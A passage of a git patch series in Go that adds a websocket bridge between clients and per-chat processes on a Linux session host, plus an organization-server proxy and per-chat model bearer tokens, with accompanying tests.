time.Time) int { + used := make(map[int]bool, len(r.sessions)) + for _, row := range r.sessions { + used[row.UID] = true + } + for uid, until := range r.quarantine { + if until.After(now) { + used[uid] = true + } else { + delete(r.quarantine, uid) + } + } + for offset := 0; offset < cfg.UIDCount; offset++ { + uid := cfg.UIDBase + offset + if !used[uid] && len(live[uid]) == 0 { + return uid + } + } + return 0 +} diff --git a/internal/sessionhost/wire_linux.go b/internal/sessionhost/wire_linux.go new file mode 100644 index 0000000000..55f5db2012 --- /dev/null +++ b/internal/sessionhost/wire_linux.go @@ -0,0 +1,284 @@ +//go:build linux + +package sessionhost + +import ( + "context" + "errors" + "io" + "net/http" + "os" + "os/exec" + "strings" + "syscall" + "time" + + "github.com/coder/websocket" +) + +const ( + wireReadLimit = 4 << 20 + childGrace = 2 * time.Second +) + +type wireAttach struct { + ctx context.Context + cancel context.CancelFunc + child *engineChild +} + +// wireResponse keeps the transport's handshake errors in the same plain +// JSON format as the admission errors. +type wireResponse struct { + *requestWriter + rejected bool +} + +func (w *wireResponse) WriteHeader(status int) { + if status == http.StatusSwitchingProtocols { + w.requestWriter.WriteHeader(status) + return + } + w.rejected = true + respondError(w.requestWriter, status, badWire) +} + +func (w *wireResponse) Write(p []byte) (int, error) { + if w.rejected { + return len(p), nil + } + return w.requestWriter.Write(p) +} + +func (s *supervisor) wire(w *requestWriter, r *http.Request, person, id string, logRequest func()) { + attach := s.reserveWire(w, person, id) + if attach == nil { + return + } + defer s.finishWire(id, attach) + _ = http.NewResponseController(w).SetWriteDeadline(time.Now().Add(5 * time.Second)) + conn, err := websocket.Accept(&wireResponse{requestWriter: w}, r, &websocket.AcceptOptions{ + InsecureSkipVerify: true, + CompressionMode: websocket.CompressionDisabled, + }) + if err != nil { + return + } + defer conn.CloseNow() + logRequest() + child := s.startWire(id, attach) + if child == nil { + _ = conn.Close(websocket.StatusInternalError, refusalText[unavailable]) + return + } + + bridge(attach.ctx, conn, child) + if child.waitErr != nil { + // A child can write any text, including credentials. Only a known + // diagnostic and the size of the captured tail may reach server logs. + diagnostic := "" + if strings.TrimSpace(child.stderr.text()) == boundingError { + diagnostic = boundingError + } + status := -1 + var exit *exec.ExitError + if errors.As(child.waitErr, &exit) { + status = exit.ExitCode() + } + s.log.Warn("chat connection process exited", "id", id, "status", status, + "stderr_bytes", child.stderr.size, "diagnostic", diagnostic) + } +} + +func (s *supervisor) reserveWire(w http.ResponseWriter, person, id string) *wireAttach { + s.mu.Lock() + defer s.mu.Unlock() + row, exists := s.registry.sessions[id] + switch { + case !exists || row.Person != person: + respondError(w, http.StatusNotFound, noChat) + case !s.report.OK: + respondError(w, http.StatusServiceUnavailable, cannotIsolate) + case s.closing || row.Doomed: + respondError(w, http.StatusServiceUnavailable, unavailable) + case !s.creds[id].valid(): + respondError(w, http.StatusConflict, noModel) + default: + if s.checkSlot(w, row) && s.prepareWireLayout(w, row) { + ctx, cancel := context.WithCancel(context.Background()) + attach := &wireAttach{ctx: ctx, cancel: cancel} + if s.wires[id] == nil { + s.wires[id] = make(map[*wireAttach]struct{}) + } + s.wires[id][attach] = struct{}{} + s.wireWG.Add(1) + return attach + } + } + return nil +} + +func (s *supervisor) checkSlot(w http.ResponseWriter, row sessionRow) bool { + live, err := s.processes.snapshot() + if err != nil { + respondError(w, http.StatusInternalServerError, readFailed) + return false + } + for wire := range s.wires[row.ID] { + if wire.ctx.Err() != nil { + respondError(w, http.StatusServiceUnavailable, unavailable) + return false + } + } + if len(live[row.UID]) > 0 || len(s.wires[row.ID]) > 0 { + return true + } + total, person := s.runningCount(live, row.Person) + if total >= s.cfg.MaxRunning { + respondError(w, http.StatusTooManyRequests, hostFull, total, s.cfg.MaxRunning) + return false + } + if person >= s.cfg.MaxPerPerson { + respondError(w, http.StatusTooManyRequests, personFull, person) + return false + } + return true +} + +func (s *supervisor) runningCount(live processTable, person string) (total, owned int) { + for id, row := range s.registry.sessions { + if len(live[row.UID]) == 0 && len(s.wires[id]) == 0 { + continue + } + total++ + if row.Person == person { + owned++ + } + } + return total, owned +} + +func (s *supervisor) prepareWireLayout(w http.ResponseWriter, row sessionRow) bool { + _, err := s.folders(row) + if err == nil { + if !row.Missing { + return true + } + row.Missing = false + if s.registry.put(row) == nil { + return true + } + } + if errors.Is(err, os.ErrNotExist) { + made, err := s.buildLayout(row) + if err == nil { + row.Missing = false + err = s.registry.put(row) + } + if err == nil { + return true + } + if made { + s.rollbackLayout(row) + } + } + respondError(w, http.StatusInternalServerError, unavailable) + return false +} + +func (s *supervisor) startWire(id string, attach *wireAttach) *engineChild { + s.mu.Lock() + defer s.mu.Unlock() + if _, reserved := s.wires[id][attach]; !reserved || s.closing || attach.ctx.Err() != nil { + return nil + } + row := s.registry.sessions[id] + folders, err := s.folders(row) + if err != nil { + return nil + } + row.LastActive = s.now().UTC() + if s.registry.put(row) != nil { + return nil + } + attach.child, err = s.launcher.start(row.UID, folders, engineEnv(s.cfg, folders, s.creds[id])) + if err != nil { + s.log.Warn("could not start the chat connection process", "id", id) + } + return attach.child +} + +func (s *supervisor) finishWire(id string, attach *wireAttach) { + defer s.wireWG.Done() + attach.cancel() + s.mu.Lock() + defer s.mu.Unlock() + group := s.wires[id] + if _, reserved := group[attach]; !reserved { + return + } + delete(group, attach) + if len(group) == 0 { + delete(s.wires, id) + } + if attach.child != nil { + row := s.registry.sessions[id] + row.LastActive = s.now().UTC() + if s.registry.put(row) != nil { + s.log.Warn("could not save recent chat activity", "id", id) + } + } +} + +func bridge(ctx context.Context, conn *websocket.Conn, child *engineChild) { + tunnel := websocket.NetConn(ctx, conn, websocket.MessageBinary) + // NetConn clears the library read limit, so restore it before copying. + conn.SetReadLimit(wireReadLimit) + inDone, outDone := make(chan struct{}), make(chan struct{}) + go func() { + defer close(inDone) + _, _ = io.Copy(child.in, tunnel) + }() + go func() { + defer close(outDone) + _, _ = io.Copy(tunnel, child.out) + }() + select { + case <-inDone: + case <-ctx.Done(): + case <-outDone: + _ = conn.Close(websocket.StatusNormalClosure, "") + case <-child.done: + // Let already queued output reach the client before the close frame. + timer := time.NewTimer(childGrace) + select { + case <-outDone: + case <-inDone: + case <-ctx.Done(): + case <-timer.C: + } + timer.Stop() + _ = conn.Close(websocket.StatusNormalClosure, "") + } + _ = conn.CloseNow() + child.in.Close() + child.out.Close() + terminateBridgeChild(child) +} + +func terminateBridgeChild(child *engineChild) { + select { + case <-child.done: + return + default: + } + _ = child.signal(syscall.SIGTERM) + timer := time.NewTimer(childGrace) + defer timer.Stop() + select { + case <-child.done: + case <-timer.C: + _ = child.signal(os.Kill) + <-child.done + } +} diff --git a/internal/sessionhost/wire_test.go b/internal/sessionhost/wire_test.go new file mode 100644 index 0000000000..9fb6afaefb --- /dev/null +++ b/internal/sessionhost/wire_test.go @@ -0,0 +1,153 @@ +//go:build linux + +package sessionhost + +import ( + "bytes" + "context" + "errors" + "io" + "net" + "net/http" + "net/http/httptest" + "os" + "strings" + "sync" + "syscall" + "testing" + "time" + + "github.com/coder/websocket" +) + +type wireTestLauncher struct { + fakeLauncher + started chan *wireTestChild +} + +type wireTestChild struct { + env []string + in *io.PipeReader + out *io.PipeWriter + signals chan os.Signal + exit func() +} + +func newWireTestLauncher() *wireTestLauncher { + return &wireTestLauncher{started: make(chan *wireTestChild, 4)} +} + +func (l *wireTestLauncher) start(_ int, _ layout, env []string) (*engineChild, error) { + childIn, bridgeIn := io.Pipe() + bridgeOut, childOut := io.Pipe() + done := make(chan struct{}) + peer := &wireTestChild{env: env, in: childIn, out: childOut, signals: make(chan os.Signal, 4)} + peer.exit = sync.OnceFunc(func() { + childIn.Close() + childOut.Close() + close(done) + }) + l.started <- peer + return &engineChild{ + in: bridgeIn, out: bridgeOut, done: done, + signal: func(signal os.Signal) error { + peer.signals <- signal + peer.exit() + return nil + }, + }, nil +} + +func (l *wireTestLauncher) child(t *testing.T) *wireTestChild { + t.Helper() + select { + case child := <-l.started: + t.Cleanup(child.exit) + return child + case <-time.After(3 * time.Second): + t.Fatal("wire did not start a child") + return nil + } +} + +func (l *wireTestLauncher) environment(t *testing.T) []string { + t.Helper() + return l.child(t).env +} + +func dialTestWire(t *testing.T, s *supervisor) *websocket.Conn { + t.Helper() + return dialWire(t, s, chatA) +} + +func dialWire(t *testing.T, s *supervisor, id string) *websocket.Conn { + t.Helper() + server := httptest.NewServer(s) + t.Cleanup(server.Close) + ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second) + defer cancel() + conn, response, err := websocket.Dial(ctx, "ws"+strings.TrimPrefix(server.URL, "http")+"/v1/sessions/"+id+"/wire", &websocket.DialOptions{ + HTTPHeader: http.Header{ + "Authorization": {"Bearer " + s.cfg.Secret}, + "X-Codeaf-Person": {"alice"}, + }, + }) + if err != nil { + t.Fatalf("upgrade failed: %v, %v", response, err) + } + t.Cleanup(func() { conn.CloseNow() }) + return conn +} + +func TestC5_WireCopiesBinaryAndTerminatesOnlyItsChild(t *testing.T) { + cfg := testConfig(t) + launcher := newWireTestLauncher() + procs := &fakeProcesses{live: processTable{}} + s := newTestSupervisor(t, cfg, healthyReport(), launcher, procs) + createChat(t, s, "alice", chatA) + procs.live[cfg.UIDBase] = []int{4321} + conn := dialTestWire(t, s) + child := launcher.child(t) + ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second) + defer cancel() + + in := []byte{0, 0xff, 3, 0x80} + gotIn := make(chan []byte, 1) + go func() { + got := make([]byte, len(in)) + _, _ = io.ReadFull(child.in, got) + gotIn <- got + }() + if err := conn.Write(ctx, websocket.MessageBinary, in); err != nil { + t.Fatal(err) + } + select { + case got := <-gotIn: + if !bytes.Equal(got, in) { + t.Fatalf("child received %x, wanted %x", got, in) + } + case <-ctx.Done(): + t.Fatal("client bytes did not reach the child") + } + out := []byte{0x80, 0, 0xff} + go func() { _, _ = child.out.Write(out) }() + typ, got, err := conn.Read(ctx) + if err != nil || typ != websocket.MessageBinary || !bytes.Equal(got, out) { + t.Fatalf("client received %x (%v), want %x: %v", got, typ, out, err) + } + if err := conn.Close(websocket.StatusNormalClosure, ""); err != nil && !errors.Is(err, net.ErrClosed) { + t.Fatal(err) + } + select { + case sig := <-child.signals: + if sig != syscall.SIGTERM { + t.Fatalf("bridge child received %v, wanted SIGTERM", sig) + } + case <-ctx.Done(): + t.Fatal("disconnect left the bridge child running") + } + w := request(s, "GET", "/v1/sessions/"+chatA, cfg.Secret, "alice", "") + if w.Code != 200 || !strings.Contains(w.Body.String(), `"state":"running"`) { + t.Fatalf("disconnect changed the detached chat: %d %s", w.Code, w.Body) + } +} From 0c2c782b0b9254045a918273cd7f330c6517c2c0 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 03:23:37 -0500 Subject: [PATCH 026/176] serve: the organization server's door to hosted chats, and the model door a chat reaches its model through /v1/hosted/sessions[/...] proxies to the sessionhost with the shared secret and the verified person only; the wire is a reverse proxy that parses no frames. /v1/model/ takes a bearer the server minted for one chat (twelve hours, ended on stop or delete) and adds the organization's key itself. With CODEAF_HOSTED_URL unset neither exists and every path answers as before. Co-Authored-By: Claude Sonnet 5.5 --- cmd/codeaf/factory_command.go | 14 +- internal/factory/serve/hosted_proxy.go | 449 +++++++++++ internal/factory/serve/hosted_proxy_test.go | 783 ++++++++++++++++++++ internal/factory/serve/model_proxy.go | 256 +++++++ internal/factory/serve/model_proxy_test.go | 221 ++++++ internal/factory/serve/serve.go | 13 + 6 files changed, 1735 insertions(+), 1 deletion(-) create mode 100644 internal/factory/serve/hosted_proxy.go create mode 100644 internal/factory/serve/hosted_proxy_test.go create mode 100644 internal/factory/serve/model_proxy.go create mode 100644 internal/factory/serve/model_proxy_test.go diff --git a/cmd/codeaf/factory_command.go b/cmd/codeaf/factory_command.go index 9f15b96a03..6e8d73cbd4 100644 --- a/cmd/codeaf/factory_command.go +++ b/cmd/codeaf/factory_command.go @@ -293,6 +293,18 @@ func startFactoryService(ctx context.Context, st *store.Store, seam factory.Seam } public := secure.publicURL(listener.Addr().String()) jobWrites := factorygithub.JobWrites{Token: func(ctx context.Context) string { t, _ := factorygithub.TokenAt(ctx, home.Dir()); return t }} + // Hosted chats are an organization server's opt-in: they are read only + // for the explicit server, never for a window serving in-process, and a + // setting that is half written stops the start with a sentence instead of + // running chats on a secret nobody checked. + var hosted *serve.HostedConfig + if servedBy == "factory" { + hosted, err = serve.ParseHostedConfig(env.Get("CODEAF_HOSTED_URL"), env.Get("CODEAF_HOSTED_SECRET"), + env.Get("CODEAF_HOSTED_MODEL_URL"), env.Get("CODEAF_HOSTED_MODEL_UPSTREAM"), env.Get("CODEAF_HOSTED_MODEL_KEY")) + if err != nil { + return nil, err + } + } handlerConfig := serve.Config{ GitHubToken: jobWrites.Token, @@ -304,7 +316,7 @@ func startFactoryService(ctx context.Context, st *store.Store, seam factory.Seam // A drop deletes the job's local branch and folder on this machine, // and the conversations and crew kept on this machine, never anything // on GitHub, so the team server does it too. - Folders: newFactoryJobFolders(st), DeleteChats: factoryDeleteJobChats(config.ProfileDir(), st), Mode: mode, OperatorLogin: host.OperatorLogin, TrustedProxies: secure.proxies, HSTSSubdomains: host.HSTSIncludeSubdomains, Name: host.Name, GitHubClientID: host.GitHubClientID, Team: host.Team, Address: public, AccessToken: token, TokensPath: tokensPath, Store: st, Root: st.Root(), Record: history, + Folders: newFactoryJobFolders(st), DeleteChats: factoryDeleteJobChats(config.ProfileDir(), st), Mode: mode, OperatorLogin: host.OperatorLogin, TrustedProxies: secure.proxies, Hosted: hosted, HSTSSubdomains: host.HSTSIncludeSubdomains, Name: host.Name, GitHubClientID: host.GitHubClientID, Team: host.Team, Address: public, AccessToken: token, TokensPath: tokensPath, Store: st, Root: st.Root(), Record: history, ServedBy: servedBy, PollingEvery: poll, GitHubLimit: host.githubLimit.resets, Scout: factoryScoutLook(st, config.Load), Read: factoryClickRead(st, config.Load), // The organization's workstream agents, when the operator runs them diff --git a/internal/factory/serve/hosted_proxy.go b/internal/factory/serve/hosted_proxy.go new file mode 100644 index 0000000000..1a1fdfa7c7 --- /dev/null +++ b/internal/factory/serve/hosted_proxy.go @@ -0,0 +1,449 @@ +package serve + +import ( + "bytes" + "context" + "crypto/rand" + "encoding/hex" + "encoding/json" + "errors" + "io" + "log" + "net/http" + "net/http/httputil" + "net/url" + "regexp" + "strings" + "sync" + "time" + + "github.com/Agent-Field/codeaf/internal/factory" +) + +// This file lets a signed-in person run a whole chat on the organization's own +// machine. The chats themselves run in a separate service (their own container, +// their own volume, one Linux user for each chat); this server is the one door +// to it. It knows who is asking, mints the chat its model bearer, and then does +// nothing clever: it forwards, with its own shared secret and the VERIFIED +// person on every request and never a word of identity the caller supplied. + +// HostedConfig turns hosted chats on. Nil is the default and means NOTHING is +// registered and no path answers differently from today (contract C8). +type HostedConfig struct { + // URL is where the chats' host answers, for example http://chats:8790. + URL string + // Secret is the secret this server presents to that host. It is at least + // 32 characters, is never sent to a client and never reaches a chat. + Secret string + // ModelURL is the address a CHAT uses to reach this server's /v1/model. + ModelURL string + // ModelUpstream is the model endpoint /v1/model forwards to. + ModelUpstream string + // ModelUpstreamKey is the upstream's own key, empty for a keyless stub. + ModelUpstreamKey string + + // state is made by hostedRoutes, on the handler's own copy of this + // struct, so two handlers built from one Config never share bearers. + state *hostedState +} + +// hostedState is everything a handler keeps for hosted chats. +type hostedState struct { + base, upstream *url.URL + secret string + modelURL string + upstreamKey string + calls *http.Client + transport *http.Transport + modelTransport *http.Transport + bearers bearerTable + // attach serializes the first attach of a chat with the push of its + // credentials. Without it a second window attaching at the same moment + // would see a live bearer, skip the push and reach the chat's host before + // the first window's push did. Attaches are a person's deliberate act, so + // holding one lock across one bounded call is cheaper than a lock per chat. + attach sync.Mutex +} + +const ( + hostedCallTimeout = 15 * time.Second + hostedBodyCap = 1 << 20 + + hostedSignIn = "Sign in to use chats on this server." + hostedNoSuchChat = "There is no such chat." + hostedUnreachable = "The place chats run on is not answering." + hostedNotStarted = "A chat could not be started just now." +) + +// hostedNoSuchChatBody is the exact text the chats' host writes for a chat +// that does not exist, so a name that cannot be a chat at all is answered +// byte for byte as one that merely is not yours. +const hostedNoSuchChatBody = `{"error":"` + hostedNoSuchChat + `"}` + "\n" + +// hostedIDForm is the only shape a chat's id can have; it is checked before +// the id goes into any address, so no caller can steer a request elsewhere. +var hostedIDForm = regexp.MustCompile(`^hs_[0-9a-f]{24}$`) + +// ParseHostedConfig reads the five hosted settings as the operator wrote them. +// An empty URL is "off" and answers nil with no error. Anything else must be +// complete and well formed, because a half-set feature that starts anyway +// would run chats with a secret nobody checked; the error says which part and +// never repeats a value. +func ParseHostedConfig(rawURL, secret, modelURL, upstream, upstreamKey string) (*HostedConfig, error) { + rawURL = strings.TrimSpace(rawURL) + if rawURL == "" { + return nil, nil + } + cfg := &HostedConfig{Secret: secret, ModelUpstreamKey: strings.TrimSpace(upstreamKey)} + var err error + if cfg.URL, _, err = hostedAddress("CODEAF_HOSTED_URL", rawURL); err != nil { + return nil, err + } + if len(secret) < 32 { + return nil, errors.New("CODEAF_HOSTED_SECRET must be at least 32 characters") + } + if strings.IndexFunc(secret, func(r rune) bool { return r < 0x21 || r > 0x7e }) >= 0 { + return nil, errors.New("CODEAF_HOSTED_SECRET must use printable characters and no spaces") + } + if cfg.ModelURL, _, err = hostedAddress("CODEAF_HOSTED_MODEL_URL", modelURL); err != nil { + return nil, err + } + if cfg.ModelUpstream, _, err = hostedAddress("CODEAF_HOSTED_MODEL_UPSTREAM", upstream); err != nil { + return nil, err + } + return cfg, nil +} + +// hostedAddress checks one address setting: an http or https address with a +// host, no sign-in details, no query and no fragment. It answers the address +// without a trailing slash, so paths can be joined to it. +func hostedAddress(name, raw string) (string, *url.URL, error) { + raw = strings.TrimSpace(raw) + u, err := url.Parse(raw) + if err != nil || raw == "" || (u.Scheme != "http" && u.Scheme != "https") || u.Host == "" || + u.User != nil || u.RawQuery != "" || u.Fragment != "" { + return "", nil, errors.New(name + " must be an http or https address with a host and nothing after the path") + } + u.Path = strings.TrimRight(u.Path, "/") + u.RawPath = "" + return u.String(), u, nil +} + +// hostedRoutes mounts the hosted-chat routes when the setting is on, and does +// nothing at all when it is off. A setting that does not check out also leaves +// the routes off: the host's start has already refused it with a sentence. +func (h *Handler) hostedRoutes() { + hc := h.config.Hosted + if hc == nil { + return + } + checked, err := ParseHostedConfig(hc.URL, hc.Secret, hc.ModelURL, hc.ModelUpstream, hc.ModelUpstreamKey) + if err != nil || checked == nil { + h.config.Hosted = nil + return + } + _, base, _ := hostedAddress("", checked.URL) + _, upstream, _ := hostedAddress("", checked.ModelUpstream) + // The chats' host is on the organization's own network, so the call to it + // never goes through a proxy from the environment: the shared secret goes + // to that one address and to nothing in between. + transport := http.DefaultTransport.(*http.Transport).Clone() + transport.Proxy = nil + own := *checked + own.state = &hostedState{ + base: base, upstream: upstream, secret: checked.Secret, modelURL: checked.ModelURL, upstreamKey: checked.ModelUpstreamKey, + transport: transport, + calls: &http.Client{Timeout: hostedCallTimeout, Transport: transport, + // A redirect would carry the shared secret to wherever it points. + CheckRedirect: func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse }}, + } + // The model proxy is different on purpose: the upstream may be a vendor on + // the internet, so it honours the environment's proxy settings, and it has + // no response-header timeout, because a model can think for minutes before + // its first byte. + own.state.modelTransport = http.DefaultTransport.(*http.Transport).Clone() + h.config.Hosted = &own + h.route("/v1/hosted/sessions", map[string]http.HandlerFunc{http.MethodGet: h.hostedList, http.MethodPost: h.hostedCreate}) + h.route("/v1/hosted/sessions/{id}", map[string]http.HandlerFunc{http.MethodGet: h.hostedGet, http.MethodDelete: h.hostedDelete}) + h.route("/v1/hosted/sessions/{id}/stop", map[string]http.HandlerFunc{http.MethodPost: h.hostedStop}) + h.read("/v1/hosted/sessions/{id}/wire", h.hostedWire) +} + +// hostedPerson is the verified person behind a request, or a 401 written. The +// organization's own sign-in has already run; this asks the same question the +// rest of the server asks and REFUSES AN EMPTY ANSWER, because a chat's folder, +// its limits and its owner check are all keyed on the handle, and an anonymous +// request must never reach the chats' host as somebody. +func (h *Handler) hostedPerson(w http.ResponseWriter, r *http.Request) (string, bool) { + handle, err := h.callerHandle(r) + handle = factory.NormalizeHandle(handle) + if err != nil || handle == "" || len(handle) > 128 || + strings.IndexFunc(handle, func(c rune) bool { return c < 0x21 || c > 0x7e }) >= 0 { + w.Header().Set("WWW-Authenticate", `Bearer realm="factory"`) + h.fail(w, http.StatusUnauthorized, hostedSignIn) + return "", false + } + return handle, true +} + +// hostedChatID is the chat named in the path, or the answer to a name that +// cannot be a chat, written. +func hostedChatID(w http.ResponseWriter, r *http.Request) (string, bool) { + id := r.PathValue("id") + if !hostedIDForm.MatchString(id) { + hostedNoSuchChatWrite(w) + return "", false + } + return id, true +} + +func hostedNoSuchChatWrite(w http.ResponseWriter) { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(http.StatusNotFound) + _, _ = io.WriteString(w, hostedNoSuchChatBody) +} + +// call makes one request to the chats' host with the shared secret and the +// verified person, and nothing the caller sent. +func (hs *hostedState) call(ctx context.Context, method, path, person string, body []byte) (int, http.Header, []byte, error) { + var reader io.Reader + if body != nil { + reader = bytes.NewReader(body) + } + req, err := http.NewRequestWithContext(ctx, method, hs.base.String()+path, reader) + if err != nil { + return 0, nil, nil, err + } + req.Header.Set("Authorization", "Bearer "+hs.secret) + req.Header.Set("X-Codeaf-Person", person) + req.Header.Set("Accept", "application/json") + if body != nil { + req.Header.Set("Content-Type", "application/json") + } + res, err := hs.calls.Do(req) + if err != nil { + return 0, nil, nil, err + } + defer res.Body.Close() + data, err := io.ReadAll(io.LimitReader(res.Body, hostedBodyCap)) + return res.StatusCode, res.Header, data, err +} + +// hostedRelay writes the chats' host's answer as it gave it: its status, its +// content type and its body, byte for byte. It adds nothing, so a chat that +// is not yours and a chat that does not exist cannot be told apart here. +func hostedRelay(w http.ResponseWriter, status int, header http.Header, body []byte) { + if kind := header.Get("Content-Type"); kind != "" { + w.Header().Set("Content-Type", kind) + } + w.WriteHeader(status) + _, _ = w.Write(body) +} + +// hostedFailed says the call to the chats' host did not give an answer a +// person can use. A 401 from it is OUR secret being refused, which is the +// operator's to fix and not the person's sign-in, so it must not reach the +// client as a 401 (a client would read it as "sign in again"). +func (h *Handler) hostedFailed(w http.ResponseWriter, status int, err error) bool { + if err == nil && status != http.StatusUnauthorized { + return false + } + h.fail(w, http.StatusBadGateway, hostedUnreachable) + return true +} + +func (h *Handler) hostedList(w http.ResponseWriter, r *http.Request) { + person, ok := h.hostedPerson(w, r) + if !ok { + return + } + status, header, body, err := h.config.Hosted.state.call(r.Context(), http.MethodGet, "/v1/sessions", person, nil) + if h.hostedFailed(w, status, err) { + return + } + hostedRelay(w, status, header, body) +} + +func (h *Handler) hostedGet(w http.ResponseWriter, r *http.Request) { + person, ok := h.hostedPerson(w, r) + if !ok { + return + } + id, ok := hostedChatID(w, r) + if !ok { + return + } + status, header, body, err := h.config.Hosted.state.call(r.Context(), http.MethodGet, "/v1/sessions/"+id, person, nil) + if h.hostedFailed(w, status, err) { + return + } + hostedRelay(w, status, header, body) +} + +// hostedCreate starts a chat. The id is this server's to choose, so a caller +// can never name a chat into existence or onto someone else's folder. +func (h *Handler) hostedCreate(w http.ResponseWriter, r *http.Request) { + person, ok := h.hostedPerson(w, r) + if !ok { + return + } + hs := h.config.Hosted.state + var raw [12]byte + if _, err := rand.Read(raw[:]); err != nil { + h.fail(w, http.StatusInternalServerError, hostedNotStarted) + return + } + id := "hs_" + hex.EncodeToString(raw[:]) + token := hs.bearers.mint(id, person, h.clock()) + body, _ := json.Marshal(map[string]string{"id": id, "model_url": hs.modelURL, "model_token": token}) + status, header, data, err := hs.call(r.Context(), http.MethodPost, "/v1/sessions", person, body) + // A bearer for a chat that was not made is ended at once; there is + // nothing for it to belong to. + if h.hostedFailed(w, status, err) { + hs.bearers.revokeToken(id, token) + return + } + if status/100 != 2 { + hs.bearers.revokeToken(id, token) + hostedRelay(w, status, header, data) + return + } + hostedRelay(w, status, header, hostedWithID(data, id)) +} + +// hostedWithID adds the id to a created chat's answer when the chats' host +// left it out, and changes nothing else about the answer. +func hostedWithID(body []byte, id string) []byte { + var row map[string]json.RawMessage + if json.Unmarshal(body, &row) != nil || row == nil { + return body + } + if _, ok := row["id"]; ok { + return body + } + row["id"], _ = json.Marshal(id) + out, err := json.Marshal(row) + if err != nil { + return body + } + return append(out, '\n') +} + +// hostedStop and hostedDelete end the chat's bearer as well as the chat. The +// bearer is ended whatever the chats' host answered, because a bearer that is +// ended too early costs one re-attach and one that is not costs a chat's model +// access after the person said stop; it is ended for its OWN person only. +func (h *Handler) hostedStop(w http.ResponseWriter, r *http.Request) { + h.hostedEnd(w, r, http.MethodPost, "/stop") +} + +func (h *Handler) hostedDelete(w http.ResponseWriter, r *http.Request) { + h.hostedEnd(w, r, http.MethodDelete, "") +} + +func (h *Handler) hostedEnd(w http.ResponseWriter, r *http.Request, method, suffix string) { + person, ok := h.hostedPerson(w, r) + if !ok { + return + } + id, ok := hostedChatID(w, r) + if !ok { + return + } + hs := h.config.Hosted.state + status, header, body, err := hs.call(r.Context(), method, "/v1/sessions/"+id+suffix, person, nil) + hs.bearers.revokeFor(id, person) + if h.hostedFailed(w, status, err) { + return + } + hostedRelay(w, status, header, body) +} + +// hostedWire joins a window to a chat. It makes sure the chat's host holds a +// live model bearer BEFORE the connection opens, then hands the connection +// over: from there it only copies bytes and reads no frame, so what the window +// and the chat say to each other is theirs alone. +func (h *Handler) hostedWire(w http.ResponseWriter, r *http.Request) { + person, ok := h.hostedPerson(w, r) + if !ok { + return + } + id, ok := hostedChatID(w, r) + if !ok { + return + } + hs := h.config.Hosted.state + if !h.hostedPush(w, r, hs, id, person) { + return + } + target := *hs.base + target.Path += "/v1/sessions/" + id + "/wire" + (&httputil.ReverseProxy{ + Rewrite: func(pr *httputil.ProxyRequest) { + pr.Out.URL = &target + pr.Out.Host = target.Host + // Only what a WebSocket handshake needs is carried over: the + // upgrade itself (which the proxy has already put back after + // stripping hop-by-hop headers) and the handshake's own fields. + // Every other header the window sent, its sign-in credential, + // cookies, forwarding headers and any X-Codeaf header among them, + // is left behind, and the two the chats' host trusts are ours. + keep := http.Header{} + for key, values := range pr.Out.Header { + switch lower := strings.ToLower(key); { + case lower == "connection", lower == "upgrade", strings.HasPrefix(lower, "sec-websocket-"): + keep[key] = values + } + } + pr.Out.Header = keep + pr.Out.Header.Set("Authorization", "Bearer "+hs.secret) + pr.Out.Header.Set("X-Codeaf-Person", person) + }, + FlushInterval: -1, + Transport: hs.transport, + ErrorLog: log.New(io.Discard, "", 0), + // A chat whose host says it has no model access (it restarted and + // forgot) has its bearer ended here, so the next attach mints a new + // one and pushes it instead of finding a live bearer and skipping. + ModifyResponse: func(res *http.Response) error { + if res.StatusCode == http.StatusConflict { + hs.bearers.revokeFor(id, person) + } + return nil + }, + ErrorHandler: func(w http.ResponseWriter, _ *http.Request, _ error) { + h.fail(w, http.StatusBadGateway, hostedUnreachable) + }, + }).ServeHTTP(w, r) +} + +// hostedPush gives the chat's host a model bearer when this is the first +// attach of a chat that has none live: after a stop, after the twelve hours, or +// after this server restarted. It does nothing when a live one is already +// there, so an ordinary re-attach costs the chats' host no extra call. It +// answers false when it wrote the reply itself. +func (h *Handler) hostedPush(w http.ResponseWriter, r *http.Request, hs *hostedState, id, person string) bool { + hs.attach.Lock() + defer hs.attach.Unlock() + token, minted, _ := hs.bearers.ensure(id, person, h.clock()) + if !minted { + // Either a live bearer already stands, or it belongs to someone else + // and the chats' host is about to answer for that on its own. + return true + } + body, _ := json.Marshal(map[string]string{"model_url": hs.modelURL, "model_token": token}) + status, header, data, err := hs.call(r.Context(), http.MethodPut, "/v1/sessions/"+id+"/credentials", person, body) + if h.hostedFailed(w, status, err) { + hs.bearers.revokeToken(id, token) + return false + } + if status != http.StatusNoContent { + // A 404 here is "no such chat" or "not yours", and is relayed as the + // chats' host said it. Either way the bearer just minted has nothing + // to belong to. + hs.bearers.revokeToken(id, token) + hostedRelay(w, status, header, data) + return false + } + return true +} diff --git a/internal/factory/serve/hosted_proxy_test.go b/internal/factory/serve/hosted_proxy_test.go new file mode 100644 index 0000000000..20d0db4c53 --- /dev/null +++ b/internal/factory/serve/hosted_proxy_test.go @@ -0,0 +1,783 @@ +package serve + +import ( + "bytes" + "context" + "encoding/json" + "io" + "net/http" + "net/http/httptest" + "reflect" + "strings" + "sync" + "testing" + "time" + + "github.com/coder/websocket" +) + +// fakeChatHost stands in for the service the chats run on. It keeps only what +// its documented API promises: the shared secret is checked, a chat belongs to +// the person who made it, a chat that is not yours looks exactly like one that +// does not exist, and a chat with no model access refuses a wire. +type fakeChatHost struct { + secret string + mu sync.Mutex + owners map[string]string // chat id to person + tokens map[string]string // chat id to the model token it holds, "" when none + seen []hostSeen + pushes []hostPush +} + +type hostSeen struct { + method, path string + header http.Header + body string +} + +type hostPush struct{ id, person, url, token string } + +const hostNoSuchChat = `{"error":"There is no such chat."}` + "\n" + +func newFakeChatHost(secret string) *fakeChatHost { + return &fakeChatHost{secret: secret, owners: map[string]string{}, tokens: map[string]string{}} +} + +func (f *fakeChatHost) requests() []hostSeen { + f.mu.Lock() + defer f.mu.Unlock() + return append([]hostSeen(nil), f.seen...) +} + +func (f *fakeChatHost) count() int { return len(f.requests()) } + +// adopt makes a chat exist here with no credentials, as after the org server +// restarted or the chat was stopped. +func (f *fakeChatHost) adopt(id, person string) { + f.mu.Lock() + defer f.mu.Unlock() + f.owners[id], f.tokens[id] = person, "" +} + +func (f *fakeChatHost) ownerOf(id string) string { + f.mu.Lock() + defer 